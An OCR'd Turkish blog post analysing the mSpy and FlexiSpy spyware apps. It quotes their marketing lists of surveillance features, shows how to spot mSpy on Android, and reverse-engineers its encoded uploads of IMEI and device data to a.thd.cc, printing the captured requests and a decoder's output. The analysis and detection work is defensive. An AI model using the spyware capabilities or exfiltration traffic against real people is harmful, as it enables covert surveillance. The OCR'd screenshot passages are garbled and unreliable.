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Ofansif glivenlige olan merakimin zirve yaptigi lise yillarimin basinda (1998
y1l1i) oldukca sansli bir siniftaydim clnkl etrafimda Fenerbahce mi yoksa
Galatasaray mi blyuk yerine Windows NT 4.0 mi yoksa Linux mu daha guvenli
tartismalari yapan sinif arkadaslarim vardi. O gun Windows NT‘yi savunan
arkadasim aksam Linux kullanan arkadaslarin siber saldirisina karsin
sistemini ayakta tutmaya calisir ve bunun lUzerine bir sonraki gliin sinifta
tatli atismalar olurdu.

1998 yilinda Slackware Linux ile oldukca hasir nesir olan sinif
arkadaslarimdan biri olan Doga¢ SENOL, bana da Slackware Linux kurmayi teklif
etmis ve kabul etmem lUzerine Linux dinyasina adim atmistim.

Sohbet sunucularinin (IRC) oldukca meshur oldugu o yillarda, Linux’ten IRC
sunucularina kara kuru konsol ekranindan BitchX IRC istemcisi ile
baglanmaktan cok keyif aliyordum. Birgliin root yetkisi ile calistirdigim
BitchX IRC istemcisi ile EFnet IRC agindaki #Linux kanalina girmeye
calistigimda, identimde root yazdigi ic¢in otomatik olarak kanaldan
atilmistim. Sebebini sordugumda ise yodnetici yetkisi ile sohbet sunucularina
girmenin glivenligim acisindan (Root yetkisi ile calistirdigim IRC
istemcisindeki bir zafiyet, uzaktan istismar edilerek art niyetli kisiye
sistemimde root yetkisi verebilirdi.) riskli oldugu sdyleniyordu. Her ne
kadar o zaman buna anlam veremesem de, ilerleyen yillarda bunun sebebini ve

onemini cok daha iyi anladim.

GUnumize donecek olursam, i0S veya Android yuklu akilli cihazlar, katmanli
guvenlik modeline uygun olarak kisitli yetkilerle calisacak sekilde son
kullaniciya ulastirilmaktadir. Ornedin Android’de root yetkisine sahip
olmadiginiz taktirde diger bir uygulamanin verisine rahatlikla ulasamayip o
uygulamanin size sunmus oldugu yetkiler/erisimler sinirinda erisebilirsiniz.
i0S’a baktiginizda da benzer sekilde kisitlar oldugun gorebilirsiniz. Sizi
engelleyen bu kisit ayni sekilde cihaziniza bir sekilde ylklenen zararli
yazilimlarin da verebilecegi potansiyel zararlari azaltmaktadir.

Tabii c¢ogu kullanici bu sistemsel kisitlarin basta 6zgurliklerini
kisitladiklarini diustunerek Android yukli cihazlarinda root yetkisi almak, i0S
yUukld cihazlarini ise jailbreak etmek ic¢in glvenligi ikinci plana

atmaktadirlar. Bu durum da casus uygulamalarin isini oldukca
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kolaylastirmaktadir.

Nasil kolaylastirdigi sorusunun yanitini 6grenmek icin bu alanda kullanilan

herhangi bir casus yazilimin web sitesini incelemeniz yeterli olacaktir.

Ornedin mspy casus uygulamasinin web sitesini incelediginizde jailbreak

edilmis bir i0S cihazda hangi uygulamalara ait verinin kolaylikla

toplanabilecegini gérebilirsiniz. Bir diger casus uygulama olan Flexispy

uygulamasinin web sitesini inceleyerek olursaniz da,

root yetkisine sahip

olunan bir cihazda tuim anlik mesajlasmalara ulasmaktan tutun da ortam

dinlemesi yapilmasina imkan tanidigini gOrebilirsiniz.
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JRUNLER

Jailbreak ile mSpy

i056 - 8.4;9.0.2 ile uyumlu
iPhone ya da iPad internete bagh olmali.
Takip edilen cihaz Gizerine jailbreak islemi yapilmis olmali.

mspy't kurmak igin cihaza fiziksel erisiminizin olmasi gerekiyor.

iOS igin Desteklenen Ozellikler:

lletisim aplikasyonlarini (Snapchat, Skype, FB Messenger, Viber, Line,

WhatsApp, Telegram) takip edin ve onlar engelleyin

* Anlik GPS Konumu / Cografi Cevreleme

-

{onitor calls}

Aramalari takip edin, biitlin kontak listesini inceleyin ve istenmeyen
kontak kisilerini engelleyin

Butun e-postalara goz atin (hem gelen hem de gonderilen)

internet kullanimi: Tarama Gegmisi / Web sitesi imleri / istenmeyen
siteleri blokla / Anahtar kelime uyarilan

{evice Wi}
Cihazin Temizlenmesi

& daha fazlasi!

HAKKIMIZDA

SIMDI SATIN ALIN Giris ~

Jailbreak olmadan mSpy

Blitlin i0SS strumleriyle uyumlu{iosDesteklenen)ail'sizStramu}.
Cihazin internet erisimi olmali.

Sayet iCloud bilgilerine zaten sahipseniz cihaza fiziksel erisiminiziz
olmasina gerek yok.

Yine de, iCloud yedekleme ozelliginin cihaz Uzerinde aktif hale
getirilmemesi durumunda fiziksel erigim gerekli olabilir

Desteklenen Ozellikler:

Aramlar takip etme, butln kontak listesini gérintilemek
Gaénderilen / Alinan SMS

iletisim sohbetleri: Whatsapp

Tarama Geg¢misi

Etkinlikler

Kayitlar



https://www.mspy.com/
https://tr.mspy.com/compatibility.html
https://www.flexispy.com/tr/
https://www.flexispy.com/tr/spy-on-android-compatibility.htm

/F’. Android Casus Yazilimi - % -\5 L

“ C ¢ @& httpsy//trmspy.com/android-spy.html

555 HAKOMIZDA  SIMDI SATIN ALIN Grs + @ - -

& (%) =

Arama Kayitlanni Denetleyin Web Kullanmimini Izleyin

Anlik Mesajlagmalari
Gorantaleyin

Android bir cep telefonuna yakienen mspy

Begmi

& Y
gorebilmenize yardima olur, Uy,
engelleme segenegini kullanarak Android
da istenmeyen sitelere erisim| de
engelleyebilirsiniz

saplayabilirsiniz.

= =

GPS Konumunu Takip Edin Metin Mesajlarini Goruntile Multimedya icerigi Tarayin
Android telefonun galeri bélomine
kaydedilen resimieri ve tabi ki SMS veya

sohbet uygulamalar yoluyla gelen veya

Oldukga etkili GPS
tarafindan kolaylikia kull
konumlarin yani sira daha
da takip edebilir ve kiginin nerelere
sevdigini kontrol edebilirsiniz.

ipgisi herkes Cocuklanniz surekli olarak ne hakkinda
ikabilir. Meveut
n

ce gid
mi

gonderiler
ist goruntileyin, Resimler silinmis olsa bile
Android cep telefonunu izleyebilir ve gelen bunlars geri getirebilir, bu resimlerin ne
oldugunu

irsiniz. Bu Bzellik, yeni trend
simleri haklinda endigeler
r igin gok uygundur.

leri / ekran g&rantdlerini

/ giden metin mesajlarina goz atabilirsiniz kadar uyg

Metinler cep b

fonundan silinse bile degerlend

kopyasini kaydedebilir!

o Not: tim Anlik Mesajlasma takibi Android cihazimizin root yapilmasim gerektirir!
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PREMIUM

MNenrooted Rooted

EXTREME

MNenrooted Rooted

Taklp : . . Sifreler

Bu A kadar destekder

Arama Gegmigi

turk.internet.com sitesinin kurucusu Fiisun NEBIL ile

Asarna Gegmigi

SMS

MMS
Duvar Resimleri
Fatograflar
Sesler
Videolar
Konum Bilgisi

Takvim

Arama Gegmigi

VOIP Arama Gegmigl
SMS
Email
MMS

Duvar Resimler

Arama Gegmigi

SMS

MMS

Duvar Resimleri

Fatagraflar Fatograflar
Sesler Sesler
Videolar Videolar
Konum Bilgisi Konum Bilgisi
Takvim Takvim

WhatsApp
LINE
Skype
WeChat
Viber

Facebook
Facebook Messenger
BBM
KIK
Hangouts
Yahoo Messenger
Telegram

Tinder

Mart ayinda

VIOIP Arama Gegmigl
SM5S
Email
MMS
Durvar Resimler
Fotograflas
Sesler
Videolar
Konum Bilgisi
Takvim
WhatsApp
LINE
Skype
WeChat
Viber
Facebook
Facebook Messenger
BEM
KIK
Hangouts
Yahoo Messenger
Telegram

Tinder

gerceklestirdigimiz sdyleside, halk arasinda cihaz c¢ok 1siniyorsa, sarji

cabuk bitiyorsa casus yazilim vardir inanisinin guc¢ld donanimlar sayesinde

ginimizde ¢ok da dogruyu yansitmadigina deginmistim. Hatta mspy

gelistiricilerinin jailbreaksiz, sadece hedef iPhone kullanicisinin iCloud

parolasina ihtiyac duyarak karsi tarafi izlemeye (iCloud yedeklerini belli
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periyotlarda indirip, analiz etmektedir.) imkan tanidigini da g6rebilirsiniz.
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Metin Mesajlar

Etkinlikler MNotlar

WhatsApp Yuklenen Uygulamalar

s Not: 105 cihazina jailbreak uygulamadan takip edebilmek igin iCloud giris bilgileri gereklidir.

Tabii bu yaziyi okuyanlardan bazilarinin aklina peki ya benim cihazima casus
yazilim yiklendi ise nasil tespit edebilirim sorusu gelecektir. Benim de
aklima benzer bir soru geldigi ic¢in bu soruyu Pi Hediyem Var #8 oyununda
sormaya karar verdim.

Ornek olarak mspy v4.18.3 casus uygulamasi yikli bir Android cihazi ele
alacak olursak, ikon/simge gizleme 6zelligini de barindiran mspy casus
uygulamasi Android cihazinizda yuklu ise her ne kadar simgesi gizli olsa da
dosya sistemi Uzerinde android.sys.process , cihaz yodneticileri kisminda ise
Update Service adi altinda kolaylikla tespit edilebilmektedir.
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& Device administrators

Personal

Update Service
ulgn P

Internal Update Service

o

O Android Device Manager

Allow Android Device Manager to <e»
lock or erase a lost device

Sample Device Admin

Sample code for writing a

H &® | DeviceAdmin class. This implemen-
tation provides a Ul (in ApiDemos)
for you to directly control what the —

J
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Ml C:\WINDOWS\system32\cmd.exe - a...

at Irc ts # cat

Bu gibi durumlarda cihazin http trafigini Charles Proxy gibi bir araca

yonlendirip trafigini izlemekte de fayda olabilir. Ornedin mspy v4.18.3 casus
yazilimi yikli olan bir cihazin trafigini incelediginizde, casus uygulamanin
elde ettigi bilgileri https://a.thd.cc adresine gdnderdigini g6rebilirsiniz.


https://www.charlesproxy.com/

Owverview | Request Response | Summary | Chart | Notes

POST /apivd/send/phoneinfojson HTTP/1.1

Connecticn: close

Content-Type: application/x-www-form-urlencoded;

Account-Hash:

Build-Version: 4.18.3

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Samsung Galaxy 56 - 6.0.0 - API 23 - 1440x2560 Build/MRAS52K)
Host: a.thd.cc

Accept-Encoding: gzip

Content-Length: 487

hash=cabdd9cbc542a9f483a67170d1fe8b78&imei=0000000000000008& auth_id= &tapi_revision=28&data_id=0&data=H4slA
AAAAAAAAFPWROWBEMAXFTSITHRFgGMSuldkMMa3VEKMIkwwytevcbaoXSLLLE_s5_dr3UchXV
qLtb1-plaldKcTQ7hkjs1aj6560qNUFKGATjcEcn TktdKflieXAmcYIsNrdrXyl8_pdL)-xADiaxX

A3U_BMIIKT)QQuZmb3HOaFVYwp3rNTKEzks9QV czIVIOWZaf ZXT 5Ls TahldxFbXTV-fRwq8YYDE
QYqv3ig¥YmK2gLrLyW)7ZC86L7rpamGDbTPacqRZ3ImtGAXcmfiHETzAceEDOwWSh4LyBIWSS0H_W2)
7_wwiNOdt_zmfGOujgTnRDuWcB8i20HCaToMSvnLhvm4kYMk-UBX7_AOOMoKfXAQAA

Tabii sistemden toplanan ve komuta kontrol merkezine gonderilen veri bu
ornekte oldugu gibi gizlenmis (encoded) ise bu durumda statik (dex2jar, JD-
GUI, IDA Pro ve/veya Radare2 araclarindan faydalanabilirsiniz.) veya dinamik
kod analizi ile gizlenmis veriyi ¢6zebilirsiniz. Dinamik kod analizi ig¢in IDA
Pro aracindan faydalanabilirsiniz.

Bunun ic¢in o6ncelikle casus uygulamanin apk uzantili kurulum paketine (bt.apk)
ihtiyaciniz olacaktir. Bunu elde ettikten sonra paketin ig¢inden c¢ikan
classes.dex dosyasini IDA ile acmaniz gerekmektedir. Ardindan Android
Emulator‘e yiklediginiz (adb install bt.apk) casus uygulamayi IDA Pro ile
analiz etmeye basladiginizda data parametresi ile sunucuya iletilen gizlenmis
veriyi tetiklemek icin kayit islemini gerceklestirmeye calismaniz yeterli
olacaktir.

Kayit ekraninda 1 yazdiktan sonra butona bastiginizda uygulamanin
https://a.thd.cc/apiv4/register/registerjson adresine gizlenmis data
parametresini de iceren bir veri g6nderdigini g6érebilirsiniz. Bundan yola
¢ikarak IDA Uzerinde registerjson ile iliskili olabilecek yerlere kesme
noktasi (breakpoint) koyacak olursaniz cok gecmeden sistem Uzerinden toplanan
email, imei gibi bilgilerin toplanip GZIP ile sikistirilip ardindan base64
ile gizlendigi kod bloguna ulasabilirsiniz.
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Flushing huFFers please wait. ..ok
Flushing buffers, please wait...ok
Command "JumpEnter' failed
Flushing buffers, please wait...ok
Deferring breakpoint. It will be set after the class 'com.android.mob.display2.main.b.b® is loaded.
JOWP error: An established connection was aborted by the software in your host machine.

Failed to suspend the application

dalvik_debmod_t::close_remote()

JOWP error: An established connection was aborted by the software in your host machine.
TCP-connection to adb server

Target Android version 6.8, SDK version of the framework 23 (ART)
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POST /apivd/register/registerjson HTTP/1.1

Connection: close

Content-Type: application/x-www-form-urlencoded;

Build-Version: 4.18.3

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; sdk_phone_armv7 Build/MRA44C)
Host: a.thd.cc

Accept-Enceding: gzip

Content-Length: 188

data=H4s|AAAAAAAAAF2ZNMOQTCMAXF7-K50xqQWnoBljb2yrRWsEgcKY2FoOLuOCN4--_Z_jugTwMKDzQ
H29-HNAtzh98P56gADTEZtzvmK CEHGESjbGDOmFeBkrth 7mIERRDiySWheozldetqNTyMayb4Y3T
P6AWOS7SLs-XK3y-dW_QT54AAAA=
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|£|b_a@VLl 0011B3FC new-instance ve, {t: k>
|f|ba@ZL 08118408 invoke-direct {vB}, <void k.<init>() k__init_BU_8>
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\£]g_init @V 0011B51A invoke-virtual {vB, v1, v2}, <void k.a(ref, ref) k_aBULL_6>
|£]h_init.@V 00118420 const-string v, almei_@ # “imei”
£ .GV ~ (Bo11BHZY inuoke-static {}, <ref a.a{) a_a@L_12>
< > 0011B42A move-result-object w2
spi1Bs2C invoke-virtual {v2}, <ref a.c() a_cBL_9>
80118432 move-result-object w2
A Groph overview: 77 % lgp11Bu3Y invoke-virtual {ud, v1, v2), <void k.a(ref, ref) k_aBULL_6>
8011B43A const-string vi, aEmail # “email®
BO11BL3E invoke-virtual {vd, v1, vk}, <void k.a{ref, ref) k aBULL 6>
100.00% (0,-17) (999,366) 0011B3FC 0011B3FC: f a@LLLL (Synchronized with Hex View-1)
T Output window o8 =
Python> irt
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python> v
Python

AU: idle Down Disk: 5GB
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Librarv function Bl Data M Reaular function [ Unexolored B Instruction | External symbol
[l Functions window

-
H
a
3
2
3

fa@ZL

R Y Y Y Y Y S S Y Y v |

i_ini

a_ clinit @V
a_a@vLl
a_aIL
b_init_ @V
b_a@VLl
b_a@IL
d_init_ @V
e_init @V
e a@vLl
f_init_@V

g_init_ @V
h_init_ @V

,
H
R
i
2

7]

Python>
Python3>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python

AU: idle

i/

Z
H

Down

oa =

-

Disk: 5GB

T IDAView-A O

o Breakpoints

Hex View-1 T Structures o

"

BO11A7AB
B011A7A0
BB11A7A0

B811A7AD
BI11ATAG
aa11A7An
B811A7B0

BO11A7BE
Be11A7BA
B011A7BE
8011A7C2
B11A7C2 locreb:
AR11A700

File Edit Jump Search View Debugger Options Windows Help

=l

sl ‘I‘@r’hﬂﬁmﬁ 4 o @Q el F o X »mnoaw‘dw - ¥l I"'i"

@011A7A0 public void com.android.mob.display2.main.login_system.b.<init>(
com.android.mob.display?.main_login_system.a v2,
android.content.Context v3,

con.google.gson.k wh)

0011A7A0 this = v1

IDA - classes.idb (classes.dex) CAUsers\Mert\Desktop\mspy\classes idb

{this}, <void AsyncTask.<init>{) imp. @ _def_AsyncTask__ init_|3u>
iput-object v2, this, stru_34AAC

invoke-virtual {us}, <ref k.toString() imp. @ _def_k_toString@L>
mouve-result-object ul

invoke-direct

move-result-object [T]
iput-object uB, this, stru_34ABY4
iput-object v3d, this, stru_3%ABC

waturn—unid

100.00% (-50,-146) (1292, 9) 0011A7A0 0011ATAO: b_ init @VLLL_1 (Synchronized with Hex View-1)

Librarv function Bl Data Bl Reoular function Unexolored B8 Instruction External svmbol
[ Functions window

-
£
a
g
g
i

Y Y Y Y Y Y Y Y R SN Y |

a_clinit @V
a a@VLI
a_a@2L
b_init @V
b a@vLl
b_a@ZL
d_init_@v
e_init @V
e a@VLl
f_init_@v
fa@ZL
g_init_ @V
h_init @V
i_init_ @V

>
;
%

o & x

»

T IDAView-A ©

T Breakpoints

Structures =

Z  Hex View-1 ®

B015B684 public static byte[] com.android.system.utils.other.h.a(
java.lang.String v2)

00158604
BO15B6 0
BO15B60A
88158600
BO15B610
BO15B616
BO15B618
B015B618 locret:
BE15B618

00158618 Method End

inuvoke-static
nove-result-object
const/16 vi, 8
invoke-static {vl, vi}, <ref Based4.encode(ref, int) imp. @ _def_Based64_encodeBLLI>
move-result-object up

{v2}, <ref h.b{ref) h_bELL_1>
ul

return-object v

7 Output window
=t

Python>
Python3
Python>
Python>
Python>
Python>
Python3
Python>
Python>
Python>
Python>
Fython

AU:  idle

Down

Disk: 5GB

J100.00% (-10,-236) (1325,19) 00158604 0015B604: h alLL 9 (Synchronized with Hex View-1)
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Ir-ﬁﬁ I4"='- ‘.I‘g‘tn@m% 3 v DO whefEh? - e X Dmnoammldmf -/ [ @Pi‘
1

Library function Bl Data B Reaular function Unexolored B Instruction External symbol

oo Wikdols 82| ® DAViewA O | @ Brelpoits O | @ HexViewl @ Swutures O | @ Fwws O |8 dmpots O | ® Bpots O
Function name 5
[Fa_clinit @v =
Flaa@vil BE15BA2C public static byte[] com.android.system.utils.other.nh.b{
e 0158620 java.lang.sString va)
|f|aamIL 00158620 new-instance w1, <t: ByteArrayOutputStrean
| £]b_init@v 88158630 inveke-virtual {un}, <int String.length() inp. @ _def_String_length@1>
|f|ba@vLl BE15B636 move-result ull
f|ba@ZL 00158638 div-int/1it8 ve, v, 3
L?d_ init_ @V O SBAIC inveke-direct {v1, vi}, <void ByteArrayOutputStream.<init>(int) imp. @ _def_ByteArraydutputStream init GUI>|
R
\f|e_init @V g P
\f|e_a@vUl Q0158642 § try Ox15B642- Ox15B666:
[F]f _init @V 001EBEAZ
7 08158642 loc_15B6L2:
i 00158642 new-instance va, <t: n§1d
o4 VHEREAG inuoke-direct {ul, 1}, uoid h§1.<inits(ref) h§1_init GUL_o>
\£] DHEBEAE inuoke-virtual {u}, <ref String.getBytes({) imp. @ _def_String_getBytesdl>
7 00158652 noue-result-object u
L] MO1SB65L invoke-virtual {ul, v2}, <void GZIPDutputStrean. lrir.e(reﬂ imp. @ _def_GZIPDutputStrean_write@L>
i ¥ DIHSB6SH inuoke-virtual {ul}y, <veid GZIPDutputStream.close() imp. @ _deF_GZIPOuputStrean_close@U>
= DHEE66H inuoke-virtual {u1}, <ref ByteArrayOutputStrean.toBytenrray() inp. @ _def_BytefrrayDutputStrean_toBytedrrayil)
L? 00158666 noue-result-object u
K |
7| BackStackState$1_init @V o o=
ZBackSmckSlattﬂ a®LL OU1SB66E B try DxiSO668-Dx1SHA6E: 0015B6EE
|f | BackStackState31_a@Ll 3:1332: loc_15BG68: ::133252 ]
| £ | BackStackState$ 1_createFromParcel@LL ORISB66E invoke-virtual {v1}, <void BytedrraydutputStrean.close() inp. @ def ByteArrayDutputStrean close@>| BB15B688
|| BackStackState$1_newirray@LI '1_, 0158680
| | BackStackState_ clinit @V v } f—
I Ld BOI15B66E
0O15B66E locret:
AGraph 7 = BE15B66E return-object
vendew x
_E 80.00% (-37,115) (787,803) 0015B642 0015B642: h bLL 1:loc 15B642 (Synchronized with Hex View-1)
T Output window oa x
Python>
Python
AU: idle Down Disk: 5GB
“ IDA - classes.idb (classes.dex) C:\Users\Mert\Desktop\mspy\classes.idb - B8
pﬂnnal ikdebugger - WM @ T B B 3 00al R So¥od
I 1 I e ]| =
ubmrvﬁm:xm B Data B Reaular function | Unexolored 1 Instruction | External svmbol
Debug View e B Structures = Modules = General registers = Threads
2 IDA View-1P o T [Breakpoints 2 Strings window
0015B64C invoke-virtual {uh}, <ref String.getBytes() imp. @ _def_String_getBytes@L>
00158652 move-result-object vz
00158654 invoke-virtual {uB, v2}, <void GZIPOutputStream.write{ref) imp. @ _def_GZIPOutputStream_write@UL>
00158650 invoke-virtual {vB}, <void GZIPDutputStream.close() imp. @ _def_GZIPDutputStrean_close@U>
00158660 invoke-virtual {ul}, <ref ByteArrayOutputStream.toByteArray() imp. @ _def_ByteArrayOutputStream_toByteArray@l
00158666 move-result-object vl

80158668 H try Ox15B668-0x15B66E:
0815B668
B815B668 loc_15B668:

80915B668 invoke-virtual {v1}, <void ByteArrayOutputStream.close() imp. @ _def ByteArrayOutputStrean close@U>|
Watch view 1
Name Location 2
(Obiect w0 ]
[Obiect *Iv1 A vl
(Object *1v2 T i i b E o 2 A A 174
ect v null Obi w3
(Strinalvd iy aulh 1d\‘\'l4b287a0c0232189\'\ imei\ "\ "000000000000000 ") \'emall\' nuII \rea code\ AV lanauaa.., Str!na v
(5trinalys Cannot evaluate “IStrinalvs stnna Cannot evaluate "(Strinalvs”, b
MName Value Type 2
il ¥
n : mg
1" Al e
] O pue
I i
e
A AT bvte i
& Output window o8 x

T;—al:ehal:k (.nn-st recent call last):
File "<string>", line 1, in <{module>

NameError: name "v@' is not defined
Python

AU: idle Down Disk: 7GB

data parametresinde yer alan verinin nasil olusturuldugunu o6grendikten sonra

Python ile mspy decoder gibi basit bir betik hazirlayarak komuta kontrol

merkezine giden tum veriyi c¢Ozebilirsiniz.


https://github.com/mertsarica/hack4career/blob/master/codes/mspy_decoder.py

C:\WINDOWS\system32\cmd.exe

[*] Decoded data: {"auth_id":"14b287a0c0232189","imei": "000000000000000", "email™

:null,"reg code™:"1","language”:"en", "network country":"us","sim country”:"us",
timezone" :"GMT"}

C:\Users\Mert\Desktop>python mspy_decoder.py "HA4sTIAAAAAAAAAFZNMQ7CMAXF7-K5QxgQlin
0BJjb2yrRUsEgcKY2FoOLUOCNA-- 7 juglvvMK@zQH29 -HNAtzh98P56gA@7EZtzvmKCEHGES jbGDOm
FeSkrth7mIEhRDiySWheozl4etgNTyMgyb4Y3TP6rW987SLs-XK3y-di_QT54AAAA="_

C:\WINDOWS\system32\cmd.exe

[*] Decoded data: {"time":1474313838,"os_version":"6.0","battery level":1.0,"int
ernal total":12756,"external total":@,"internal_available":11681,"external avail
able":0,"wifi_connected”:true,"mobile connected":false,"msisdn”:"15555215554","1
msi":"3102600000000080" , "operator” :"Android”, "rooted" : true, "timezone™ :-14400, "app

root™:false,"device_admin":true, "mspy_keyboard used":false,"camera_available”:t
rue, "show _icon":false,"xposed activated":false,"verify app enabled":true,"gp sen
vices":@}

C:\Users\Mert\Desktop>python mspy decoder.py "H4sIAAAAAAAAAFWRQWEEMAXF7SI1HRFgG
SuldkMMa3VEKMkwwytevebaoXSLLLA s5 dr5UohXVgltbl-p2aIldKcT(Q7hkjs1ajoesSedglUFKGATjcE
cn7ktdKfIieXAmcYIsNrdrXyl8 pdlLJ-xADiaXA3U_ 6MIdIKTjQQuZmb3HOaFVYwp3rNTKEzks9QVczI
I0WZatZXT5LsTahldxFbXTV-fRwg8YYDEQYgv3gYmK2IgLrLyWj7ZC86L7rpamGDbTPacqRZ3mtGAXC
mfiHE7zAceEAOWShALYBIWSSOH W217 wwhNOdt_ zmfGOujgTnRDulc8i2@HCaToM3vnLhvmdkYMk-UBX]
7 _AOOMOKFXAQAA™




Sonu¢ olarak mobil givenliginiz ic¢in kullandiginiz cihazlarin jailbreak veya
root edilmemis olmasi art niyetli kisilerin islerini bir kademe daha
zorlastiracaktir. Casus uygulamalara karsi Android kullanicilarinin belirli
periyotlarda cihaz yodneticilerinde yer alan uygulamalari kontrol etmelerinde,
i0S kullanicilarinin ise iCloud parolalarini degistirmelerinde fayda
olacaktir.

Bir sonraki yazida goOrismek dilegiyle herkese givenli gunler dilerim.

Not: Bu yazi Pi Hediyem Var #8 oyununun ¢O6zum yolunu da icermektedir.


https://www.mertsarica.com/pi-hediyem-var-8/

